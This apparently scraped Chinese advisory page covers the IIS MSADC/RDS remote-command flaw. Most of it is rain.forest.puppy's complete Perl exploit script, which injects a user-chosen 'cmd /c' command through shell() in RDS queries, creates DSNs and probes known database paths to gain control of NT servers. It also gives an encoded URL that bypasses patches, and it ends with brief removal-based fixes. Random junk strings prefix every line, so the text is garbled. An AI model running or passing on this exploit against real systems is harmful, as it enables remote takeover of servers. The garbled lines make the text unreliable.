IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
_\
. $h G;2v 涉及程序：
I86e&"40 Microsoft NT server
'oz hz2 s ^ckj3Y#; 描述：
hq/J6 M 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
)t|^Nuj8 )n\*ht7 详细：
SU?wFCGT% 如果你没有时间读详细内容的话，就删除:
gw_|C|!P c:\Program Files\Common Files\System\Msadc\msadcs.dll
p= !#],[ 有关的安全问题就没有了。
`9.dgV aB6Ye/Io 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
1<xcMn0et KxO /] 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
]>tq|R 78 关于利用ODBC远程漏洞的描述，请参看:
;yF[2P ; 0o=!j3RjH http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm N H'1rt(w Eo%UuSi 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
+yzcx3< http://www.microsoft.com/security/bulletins/MS99-025faq.asp Tr}R`6d$ 2HcsQ*H] G 这里不再论述。
cy W;,uT)D SHMl%mw 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
:e1'o c {1V. /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
?22d} ,. 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
mfXD1]<. `.{U-U\ ; D1FA z #将下面这段保存为txt文件，然后: "perl -x 文件名"
pG/
NuImA yh S#&)O #!perl
H76E +AY #
}<vvxi # MSADC/RDS 'usage' (aka exploit) script
:/+>e
IE #
2
9q?$V( # by rain.forest.puppy
>&bv\R/ #
Rr%tbt.sE # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
82lr4 # beta test and find errors!
\ X&]FZ(* <5dH *K use Socket; use Getopt::Std;
x+4v s s getopts("e:vd:h:XR", \%args);
iJ}2"i7 M (nGkZ}p print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
F[5S(7M
7 )))2f skZ if (!defined $args{h} && !defined $args{R}) {
#nKRTb+{ print qq~
E] NY
(1 Usage: msadc.pl -h <host> { -d <delay> -X -v }
f%c06U n= -h <host> = host you want to scan (ip or domain)
"X`RQ6~]> -d <seconds> = delay between calls, default 1 second
f2NA=%\ -X = dump Index Server path table, if available
vCj4;P g -v = verbose
9o EpPL5 -e = external dictionary file for step 5
|Eb&}m:E$ xJ-*%'(KZ Or a -R will resume a command session
~%`EeJwT |VK:2p^ u ~; exit;}
|V lMma z 8=:A/47=J $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
'f 3HKn<L if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
\I;cZ>{u"} if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
h-7A9: if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
&` \ ep9 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
9qE OgJ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
XJUEwX b7bSTFZxC if (!defined $args{R}){ $ret = &has_msadc;
bZ/
hgqS die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
oew|23Ytb ^\M hT)x print "Please type the NT commandline you want to run (cmd /c assumed):\n"
0{ Bf 9cH . "cmd /c ";
H.:9:I[n $in=<STDIN>; chomp $in;
F=srkw:*. $command="cmd /c " . $in ;
EJ G2^DSS T8U[xu.> if (defined $args{R}) {&load; exit;}
_
\l
HI x@Y|v@}BE print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
R b#/qkk/ &try_btcustmr;
L;3aZt,#O *6XRjq^# print "\nStep 2: Trying to make our own DSN...";
5C B%=iL{ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
UxeL
cUP u#FXW_-TK print "\nStep 3: Trying known DSNs...";
usy,V"{ &known_dsn;
M|k&TTV _%%yV print "\nStep 4: Trying known .mdbs...";
7 %4.b7Q &known_mdb;
` y2ljIWJ as(*B-_n~ if (defined $args{e}){
*Rq`*D>:U} print "\nStep 5: Trying dictionary of DSN names...";
P{cos& X| &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
2SciB* 5 ;, rnk- print "Sorry Charley...maybe next time?\n";
M6_-f ;. exit;
!R74J=#( i
j/o;_ ##############################################################################
")E D)&e j7}lF?cJ2 sub sendraw { # ripped and modded from whisker
D^u\l sleep($delay); # it's a DoS on the server! At least on mine...
kon5+g9q my ($pstr)=@_;
xQo~%wW,? socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
:G }DAUFN die("Socket problems\n");
4 [1 k\ if(connect(S,pack "SnA4x8",2,80,$target)){
lUHtjr select(S); $|=1;
vL$|9|W( print $pstr; my @in=<S>;
IcFK,y%1 select(STDOUT); close(S);
"y$ qrN- return @in;
^ wJEfa c } else { die("Can't connect...\n"); }}
)|RZa|`-G p![&8i@ym ##############################################################################
vU}: U)S s`c?: sub make_header { # make the HTTP request
j=W@P- my $msadc=<<EOT
C`0%C7 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
Xhse~=qA User-Agent: ACTIVEDATA
P>wZ~Hjk Host: $ip
({e7U17[# Content-Length: $clen
2:'lZQ Connection: Keep-Alive
BC({ EE~R) )[jy[[K( ADCClientVersion:01.06
g/#~N~& Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
/UHp [yod vLD i ; --!ADM!ROX!YOUR!WORLD!
43L|QF o Content-Type: application/x-varg
E eB3 } Content-Length: $reqlen
6vobta^w "0-y*1/m EOT
{y6C0A* ; $msadc=~s/\n/\r\n/g;
5
`=KyHi:b return $msadc;}
:B.G)M\ tpo> 1| ##############################################################################
x:
~d@ a5?A!k\2 sub make_req { # make the RDS request
ao$):,2* my ($switch, $p1, $p2)=@_;
P}@*Z>j:# my $req=""; my $t1, $t2, $query, $dsn;
tS<h8g_ %S`ik!K"I if ($switch==1){ # this is the btcustmr.mdb query
hVUIBJ/5(- $query="Select * from Customers where City=" . make_shell();
\Y e%o}.{ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
0T))>.iu# $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
<hv7s,i lFf XWNb elsif ($switch==2){ # this is general make table query
.C= I^ $query="create table AZZ (B int, C varchar(10))";
e$|VG*
d $dsn="$p1";}
aZKXD! 4 c'0 5{C elsif ($switch==3){ # this is general exploit table query
J 3B.-XJ+n $query="select * from AZZ where C=" . make_shell();
VR 4%v9[1 $dsn="$p1";}
y|sma;D _- %d9@x elsif ($switch==4){ # attempt to hork file info from index server
M|r8KW~S) $query="select path from scope()";
i03gX<=* $dsn="Provider=MSIDXS;";}
Pp *}R2 d>!p=O`>{q elsif ($switch==5){ # bad query
{/ &B!zvl $query="select";
5v9uHxy $dsn="$p1";}
S}7>RHe 4ht\&2&: $t1= make_unicode($query);
uyT/Xzo3 $t2= make_unicode($dsn);
Rp/-Pv
$req = "\x02\x00\x03\x00";
2 B` 8eb $req.= "\x08\x00" . pack ("S1", length($t1));
\r;F2C0*i $req.= "\x00\x00" . $t1 ;
"}zda*z8 $req.= "\x08\x00" . pack ("S1", length($t2));
&fSTR-8ev# $req.= "\x00\x00" . $t2 ;
GMm'of # $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
|C D}<r(N
return $req;}
tcA;#^jc
YqU/\f+ ##############################################################################
maDz W_3 kCA5|u sub make_shell { # this makes the shell() statement
cNj*E
=~; return "'|shell(\"$command\")|'";}
wL2XNdo}< D1Yh,P<CF\ ##############################################################################
``9 GY ^,V[nfQR sub make_unicode { # quick little function to convert to unicode
Q4wc-s4RN my ($in)=@_; my $out;
q# vlBL for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
/6U
4 S>'( return $out;}
};sMU6e HmV /> 9 ##############################################################################
\ e,?r H -0 0}if7 sub rdo_success { # checks for RDO return success (this is kludge)
GZ8:e3ri my (@in) = @_; my $base=content_start(@in);
I7mG/ if($in[$base]=~/multipart\/mixed/){
%-j&e4 4 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
g j+3y9 return 0;}
I/B1qw;MN V XIQw' Cq ##############################################################################
8#59iQl d+}k g sub make_dsn { # this makes a DSN for us
Y {c5 my @drives=("c","d","e","f");
<xn;bp[ print "\nMaking DSN: ";
&1GUi{I foreach $drive (@drives) {
bGv4.:) print "$drive: ";
p4> ,Fwy2 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
CLN+I'uX0 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
3ATjsOL . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
`|<+ ? $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
>&Fa(o;* return 0 if $2 eq "404"; # not found/doesn't exist
HFS+QwHW if($2 eq "200") {
jvs[ / foreach $line (@results) {
rAXX}"l6s return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
DJP 6TFT&G } return 0;}
Fe$/t( %j{.0 H ##############################################################################
:'*DMW~ iZ; TYcT sub verify_exists {
@2e2^8X7f my ($page)=@_;
]}2Zt r)zZ my @results=sendraw("GET $page HTTP/1.0\n\n");
nY^Nbh0 return $results[0];}
'[Gm8K5
Y\? j0X; ##############################################################################
0ar= cuDm |F!F{d^p sub try_btcustmr {
^l !L)iw my @drives=("c","d","e","f");
!k<:k
"7 my @dirs=("winnt","winnt35","winnt351","win","windows");
]rW8y%yD TnE+[.Qu foreach $dir (@dirs) {
/F~X,lm* ~ print "$dir -> "; # fun status so you can see progress
r4;Bu<PQN1 foreach $drive (@drives) {
6^YJ] w print "$drive: "; # ditto
BUC,M: J+H $reqlen=length( make_req(1,$drive,$dir) ) - 28;
D,rZ0?R $reqlenlen=length( "$reqlen" );
Z+idLbIs $clen= 206 + $reqlenlen + $reqlen;
+?d} 7z h HDS"F.l5 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
\*"`L3 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
40K2uT{cq else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
<NB41/ xm H-!D a ##############################################################################
\G;CQV#{9 7 g6RiH} sub odbc_error {
59!)j>f my (@in)=@_; my $base;
fLB1)kTS my $base = content_start(@in);
\&q=@rJp(z if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
{}\CL#~y $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
GLh]G( $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
b!a
%YLL $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
^ M
Ey, return $in[$base+4].$in[$base+5].$in[$base+6];}
BaL]mIx print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
T1N H eH> print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
v>-Y uS $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
F?4Sz # ') o0O9/; ##############################################################################
xP@ /9SM I@./${o sub verbose {
>XE`h 9 my ($in)=@_;
,w `~K:b. return if !$verbose;
CC8k&u, print STDOUT "\n$in\n";}
aRwnRii f7+Cz>R ##############################################################################
(9GbG" ./w{L"E sub save {
R6@uM< my ($p1, $p2, $p3, $p4)=@_;
^:DyT@hQB5 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
jXR1 6| print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
5(J^ N close OUT;}
o'Y#H
r)/ "ahvNx;x ##############################################################################
Qpu3(`d< +qkMQETV6 sub load {
mJMq{6; my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
nem@sB;v# open(IN,"<rds.save") || die("Couldn't open rds.save\n");
L[C*@
uK @p=<IN>; close(IN);
gq 4 . d $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
DuNcX$%% $target= inet_aton($ip) || die("inet_aton problems");
\4s;!R! print "Resuming to $ip ...";
H;I~N*ltJ( $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
Z .Pi0c+ if($p[1]==1) {
V0NVGRQ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
Lt>7hBe" $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
u~'OcO my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
T]71lRY5 if (rdo_success(@results)){print "Success!\n";}
)z J=PF else { print "failed\n"; verbose(odbc_error(@results));}}
gaeOgP.0 elsif ($p[1]==3){
J}@GKNm if(run_query("$p[3]")){
% h+uD^^$ print "Success!\n";} else { print "failed\n"; }}
hKksVi elsif ($p[1]==4){
g42T#p8^ if(run_query($drvst . "$p[3]")){
4 v qNule print "Success!\n"; } else { print "failed\n"; }}
se, Z#H exit;}
9}
*$n&B (hf zM+2 ##############################################################################
AM T slo h5-d;RKE sub create_table {
J
Jy{@[m my ($in)=@_;
p\S8oHWe $reqlen=length( make_req(2,$in,"") ) - 28;
r~oSP^e' $reqlenlen=length( "$reqlen" );
ct0v$ct>f $clen= 206 + $reqlenlen + $reqlen;
f z%tA39m my @results=sendraw(make_header() . make_req(2,$in,""));
KXe
ka return 1 if rdo_success(@results);
( V4G<-jG my $temp= odbc_error(@results); verbose($temp);
O 5-;I,)H return 1 if $temp=~/Table 'AZZ' already exists/;
x!?Z *v@I return 0;}
'F5)ACA % :]c=pH ##############################################################################
F<r4CHfh; ]kS7n @8 sub known_dsn {
q^Inb)FeN # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
]{Ek[Av my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
,!>fmU`E4 "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
6V;:+"BkJ "banner", "banners", "ads", "ADCDemo", "ADCTest");
:6u~aT/ j9xXKa5 foreach $dSn (@dsns) {
lzfDH =& print ".";
AZ wa4n}" next if (!is_access("DSN=$dSn"));
ZQ[~*) if(create_table("DSN=$dSn")){
1nB@zBQu - print "$dSn successful\n";
NI\H
\#bJ if(run_query("DSN=$dSn")){
F5IZ"Itu( print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
_,Q[2g Q5N print "Something's borked. Use verbose next time\n";}}} print "\n";}
!$ r9C/k 3bts7<K= ##############################################################################
mP!N <K ) `I=oB sub is_access {
*Sb2w*c> my ($in)=@_;
qGa<@ b $reqlen=length( make_req(5,$in,"") ) - 28;
KjYDFrR4 $reqlenlen=length( "$reqlen" );
FpdHnu i1 $clen= 206 + $reqlenlen + $reqlen;
}vD;DSz: my @results=sendraw(make_header() . make_req(5,$in,""));
+ *a7GttU my $temp= odbc_error(@results);
{!t=n verbose($temp); return 1 if ($temp=~/Microsoft Access/);
q^6N+ ^}QN return 0;}
& rQD `E/ +H}e)1^ I ##############################################################################
w `!LFHK
`, Zb2" sub run_query {
oCA(FQ6 my ($in)=@_;
>0V0i%inmF $reqlen=length( make_req(3,$in,"") ) - 28;
!a[$)c $reqlenlen=length( "$reqlen" );
w \DspF $clen= 206 + $reqlenlen + $reqlen;
W.$6 pzB( my @results=sendraw(make_header() . make_req(3,$in,""));
yFO)<GLk return 1 if rdo_success(@results);
+2y&B,L_Wh my $temp= odbc_error(@results); verbose($temp);
o^PuhVu return 0;}
bK7.St z1Q2*:)c ##############################################################################
*(nJX.7 +-P<CCvWz sub known_mdb {
i[_| %'p my @drives=("c","d","e","f","g");
^4UcTjh my @dirs=("winnt","winnt35","winnt351","win","windows");
e
Y DUon my $dir, $drive, $mdb;
-yA 3 RP my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
%
$.vOFP9 $_bZA;EMQ # this is sparse, because I don't know of many
_H2tZ%RM my @sysmdbs=( "\\catroot\\icatalog.mdb",
~me\ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
e>!E=J) j "\\system32\\certmdb.mdb",
kjX7- ZPY "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
4 cB &Hk B _tQeM my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
kp; &cQu! "\\cfusion\\cfapps\\forums\\forums_.mdb",
p z @km "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
1M/$<
kQ-N "\\cfusion\\cfapps\\security\\realm_.mdb",
tQ[]Rc "\\cfusion\\cfapps\\security\\data\\realm.mdb",
6KB^w0oA "\\cfusion\\database\\cfexamples.mdb",
[Q:f-<nH "\\cfusion\\database\\cfsnippets.mdb",
to51hjV "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
hiIya WU "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
, `"K "\\cfusion\\brighttiger\\database\\cleam.mdb",
9'X@@6b*' "\\cfusion\\database\\smpolicy.mdb",
_XWnS9 "\\cfusion\\database\cypress.mdb",
<S {7Ro "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
e?1KbJ?. "\\website\\cgi-win\\dbsample.mdb",
m0C{SBn-M "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
+9_ ,w bF "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
'$*[SauAG ); #these are just
D&f!( n foreach $drive (@drives) {
%r P ! foreach $dir (@dirs){
S ;h&5.p foreach $mdb (@sysmdbs) {
F-tFet
print ".";
dm 2EH if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
9.]kOs_ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
`fMpV8vv if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
_G[6+g5| print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
`~h0?g } else { print "Something's borked. Use verbose next time\n"; }}}}}
kz_M;h> F; W' foreach $drive (@drives) {
TR?Bvy2s:g foreach $mdb (@mdbs) {
{RJ52Gx ( print ".";
sy=dY@W^ if(create_table($drv . $drive . $dir . $mdb)){
) WclV~ print "\n" . $drive . $dir . $mdb . " successful\n";
cTy 'JT7 if(run_query($drv . $drive . $dir . $mdb)){
:i}@Br+R7L print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
18r p;
l{ } else { print "Something's borked. Use verbose next time\n"; }}}}
LGXZx}4@; }
1Df, a#,y" %2,/jhHL ##############################################################################
:-U53}Iy tStJ2-5*t sub hork_idx {
]6q*)q:` print "\nAttempting to dump Index Server tables...\n";
St_S l:m$ print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
1[px`%DR~ $reqlen=length( make_req(4,"","") ) - 28;
>-eS&rma $reqlenlen=length( "$reqlen" );
s*eyTm $clen= 206 + $reqlenlen + $reqlen;
}9
?y'6l my @results=sendraw2(make_header() . make_req(4,"",""));
]An_5J
if (rdo_success(@results)){
d&?F#$> 7| my $max=@results; my $c; my %d;
/0-\ek ye for($c=19; $c<$max; $c++){
}\ EL;sT $results[$c]=~s/\x00//g;
lZB v\ JE $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
Gg}t-_M $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
c{ 7<H $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
!;jgzi?z $d{"$1$2"}="";}
5Vm Ey b foreach $c (keys %d){ print "$c\n"; }
4NJVW+:2 } else {print "Index server doesn't seem to be installed.\n"; }}
ePi
Z &D^e<j}RQ ##############################################################################
8a?IC|~Pz i"< ZVw sub dsn_dict {
Pm~,Ky&Hl open(IN, "<$args{e}") || die("Can't open external dictionary\n");
9V.+ U7\w while(<IN>){
/K[]B]1NE $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
^SgN(-QH next if (!is_access("DSN=$dSn"));
|Cu1uwy if(create_table("DSN=$dSn")){
! *9FKDB{ print "$dSn successful\n";
vWuy ft * if(run_query("DSN=$dSn")){
y]w )`}Ax print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
r <v _CFJ print "Something's borked. Use verbose next time\n";}}}
aw]8V:)$J print "\n"; close(IN);}
k,A M ]H F~%|3a$Y ##############################################################################
ML"_CQlE7 @::lJDGVv sub sendraw2 { # ripped and modded from whisker
\6Xn]S sleep($delay); # it's a DoS on the server! At least on mine...
M`(;>Kp7 my ($pstr)=@_;
{rz>^ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
raSF3b/0 die("Socket problems\n");
K[n<+e;G if(connect(S,pack "SnA4x8",2,80,$target)){
\Ec
X!aC print "Connected. Getting data";
~R)1 nN| open(OUT,">raw.out"); my @in;
=1eV select(S); $|=1; print $pstr;
G}Gb|sD
Zq while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
} !Xf&c{7{ close(OUT); select(STDOUT); close(S); return @in;
w~ijD ^ g } else { die("Can't connect...\n"); }}
N=.}h\{0 >}mN i:6xq ##############################################################################
d WMccn;-m 3F;EE: sub content_start { # this will take in the server headers
[1e.i my (@in)=@_; my $c;
$x/J+9Ww for ($c=1;$c<500;$c++) {
3Sk5I% if($in[$c] =~/^\x0d\x0a/){
EkDws `@ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
GpScc'a7 else { return $c+1; }}}
wE)]
ah: return -1;} # it should never get here actually
)7tV*=?Ic8 pz.Y=V\t ##############################################################################
coW)_~U| L(W%~UGN
V sub funky {
LE<:.?<Z- my (@in)=@_; my $error=odbc_error(@in);
^kc>m$HY if($error=~/ADO could not find the specified provider/){
-?[O"D"c print "\nServer returned an ADO miscofiguration message\nAborting.\n";
6^Wi Z^~ exit;}
iOKr9%9?Z if($error=~/A Handler is required/){
y/z9Ce*> print "\nServer has custom handler filters (they most likely are patched)\n";
p!C_:Z5i exit;}
xP XoJN if($error=~/specified Handler has denied Access/){
H^ESA s6 print "\nServer has custom handler filters (they most likely are patched)\n";
',:3>{9 exit;}}
Y!bpOa& 3/SfUfWo ##############################################################################
KsZ@kTs NJ.rv sub has_msadc {
, "x23=] my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
Pv^(Q ] my $base=content_start(@results);
L00Sp#$\ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
2*N&q|ED return 0;}
ys:1Z\$P 4F}g( ########################
-/@|2!d zw}@nqp F">Nrj-bs 解决方案：
USlF+RY@3L 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
3| GNi~ 2、移除web 目录: /msadc
